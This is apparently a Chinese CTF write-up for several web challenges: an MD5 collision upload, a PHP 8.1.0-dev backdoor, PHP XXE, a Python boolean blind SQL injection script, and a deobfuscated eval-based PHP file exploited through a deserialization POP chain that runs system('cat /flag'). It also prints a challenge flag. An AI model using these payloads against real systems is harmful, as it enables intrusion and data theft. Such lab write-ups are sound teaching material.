web
EasyMD5
MD5碰撞,使用工具fastcoll生成内容不同但md5值相同的两个pdf文件上传即可获得flag;
./fastcoll_v1.0.0.5.exe -p 1.pdf -o 2.pdf 3.pdf # -p指定任意源文件,-o指定生成两个内容不同但md5值相同的目标文件
工具下载:http://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5.exe.zip
上传2.pdf和3.pdf,获取到flag;
PHP的后门
PHP 8.1.0-dev 后门命令执行漏洞,增加如下请求头rce即可获取flag;
PHP的XXE
PHP 7.0.30 + libxml 2.8.0 XML外部实体注入漏洞(xxe),参考:PHP环境 XML外部实体注入漏洞(XXE)_php7.0.30漏洞-CSDN博客
只需向dom.php发送xml即可读取flag;
Easy_SQLi
登录页面,简单测试一下,发现存在布尔盲注,且无任何过滤,直接写python脚本注入,flag在users表的password中;
import requests
url = 'http://challenge.qsnctf.com:30428/login.php'
# sql = 'select database()'
# sql = "select group_concat(table_name) from information_schema.tables where table_schema=\"qsnctf\""
# sql = "select group_concat(column_name) from information_schema.columns where table_name='users'"
sql = "select/**/group_concat(password)/**/from/**/users" # 第二个password为flag:qsnctf{80d18e7c42514357baf1cdaf5e87fd07}
flag = ''
for i in range(1, 100):
left = 0
right = 127
mid = (left + right) // 2
while 1:
payload = {'psw': f"1'or ascii(substr(({sql}),{i},1))>{mid} and'1", 'uname': "admin"}
res = requests.post(url, data=payload)
# print(res.text)
if 'Login successful' in res.text: # 布尔盲注为True时的回显
left = mid
mid = (left + right) // 2
else:
right = mid
mid = (left + right) // 2
if mid == 1:
break
elif (right - left) <= 1:
flag += chr(right)
print(flag)
break
if mid == 1:
print('已输出所有字符')
break
雏形系统
进入容器,是个登录页面;
先目录扫描,发现www.zip,下载发现里面有如下php代码;
<?php
$O00OO0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O00O0O=$O00OO0{3}.$O00OO0{6}.$O00OO0{33}.$O00OO0{30};$O0OO00=$O00OO0{33}.$O00OO0{10}.$O00OO0{24}.$O00OO0{10}.$O00OO0{24};$OO0O00=$O0OO00{0}.$O00OO0{18}.$O00OO0{3}.$O0OO00{0}
.$O0OO00{1}.$O00OO0{24};$OO0000=$O00OO0{7}.$O00OO0{13};$O00O0O.=$O00OO0{22}.$O00OO0{36}
.$O00OO0{29}.$O00OO0{26}.$O00OO0{30}.$O00OO0{32}.$O00OO0{35}.$O00OO0{26}.$O00OO0{30};
eval($O00O0O("JE8wTzAwMD0iS1hwSnRScmdxVU9IY0Zld3lvUFNXbkNidmtmTUlkbXh6c0VMWVpCVkdoRE51YUFUbFFqaVRhTWh5UUpVclpudHFlS0JzTndSY2ttbG9kVkFTWXBXeGpMRWJJZkNndk9GdWl6RFBHWEh3TzlCaXR6VFNtelVTZ0NzcXA5c2EzaFBxZzlzWWdQdUlzVUJURGpUbUh6VVNtZlhsZ2V4cXNmeGlnZFRTbXpVU3RqVFNtelVTbXpVU21mQlljaGppY0FVaGc1UEt0RzdtSHpVU216VVNtelVxdENIbGdQWFNtUUJiYUZ4bkJOVVNtelVTbXpVU3RmMWJwV01ic2ZwWWM1WFlnUG9sSGZWYTNRb1ozUXNpYzVrVG1QN21IelVTbXpVU216VVNtelVTbVEwaWdQeEVENXVJYXYwblhNR0RlTk5odFFOaWFBeXdrZnZxM0FNbkJOVVNtelVTbXpVU3QwVFNtelVTdDBUU216VVNnRmpiYUZ4U3RZb21IelVTbWY3bUh6VVNtelVTbXpVcXRDSGxnUFhTbVF4SWFVN21IelVTbXpVU216VXF0Q0hsZ1BYU21RdkkyWjdtSHpVU216VVNtelVxdENIbGdQWFNtUU1sa1FQbGtRTWwyNDdtSHpVU216VVNtelVxdENIbGdQWFNnSTFscEYwaWM5dVNlOVZJZ0N4WXRoMWIzR05UYWpUU216VVNtelVTbXpVU216VUljRk5sc3pIUmdkVUN0aDVTdEZQcXBQdmxnUDZJUmZGSVJMSG5CTlVTbXpVU216VVNtelVTbXpkWWd2TX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kVFNtelVTdGpUU216VVNtelVTbWZQYjJ2b1RtRWtwbG9Qb0lhcEhoT1BITThIVERqVFNtelVTdDBUbUh6VVNtei93VT09IjsgIAogICAgICAgIGV2YWwoJz8+Jy4kTzAwTzBPKCRPME9PMDAoJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAqMiksJE9PME8wMCgkTzBPMDAwLCRPTzAwMDAsJE9PMDAwMCksICAgIAogICAgICAgICRPTzBPMDAoJE8wTzAwMCwwLCRPTzAwMDApKSkpOw=="));
?>
将混淆后的代码整理,如下,发现存在php反序列化漏洞;
<?php
error_reporting(0);
class shi
{
public $next;
public $pass;
public function __toString(){
$this->next::PLZ($this->pass);
}
}
class wo
{
public $sex;
public $age;
public $intention;
public function __destruct(){
echo "Hi Try serialize Me!";
$this->inspect();
}
function inspect(){
if($this->sex=='boy'&&$this->age=='eighteen')
{
echo $this->intention;
}
echo "🙅18岁🈲";
}
}
class Demo
{
public $a;
static function __callStatic($action, $do)
{
global $b;
$b($do[0]);
}
}
$b = $_POST['password'];
$a = $_POST['username'];
@unserialize($a);
if (!isset($b)) {
echo "==================PLZ Input Your Name!==================";
}
if($a=='admin'&&$b=="'k1fuhu's test demo")
{
echo("登录成功");
}
?>
构造pop链:wo:__destruct() => shi:__toString() => Demo:__callStatic() ,payload如下;
<?php
class shi
{
public $next;
public $pass = 'cat /flag';
}
class wo
{
public $sex = 'boy';
public $age = 'eighteen';
public $intention;
}
class Demo
{
public $a;
}
$a = new wo();
$b = new shi();
$c = new Demo();
$a->intention = $b;
$b->next = $c;
echo serialize($a);
//O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":1:{s:1:"a";N;}s:4:"pass";s:9:"cat /flag";}}
传参执行system("cat /flag")命令,反序列化payload为用户名username,system为密码password;
# post传参
username=O:2:"wo":3:{s:3:"sex";s:3:"boy";s:3:"age";s:8:"eighteen";s:9:"intention";O:3:"shi":2:{s:4:"next";O:4:"Demo":1:{s:1:"a";N;}s:4:"pass";s:9:"cat /flag";}}
password=system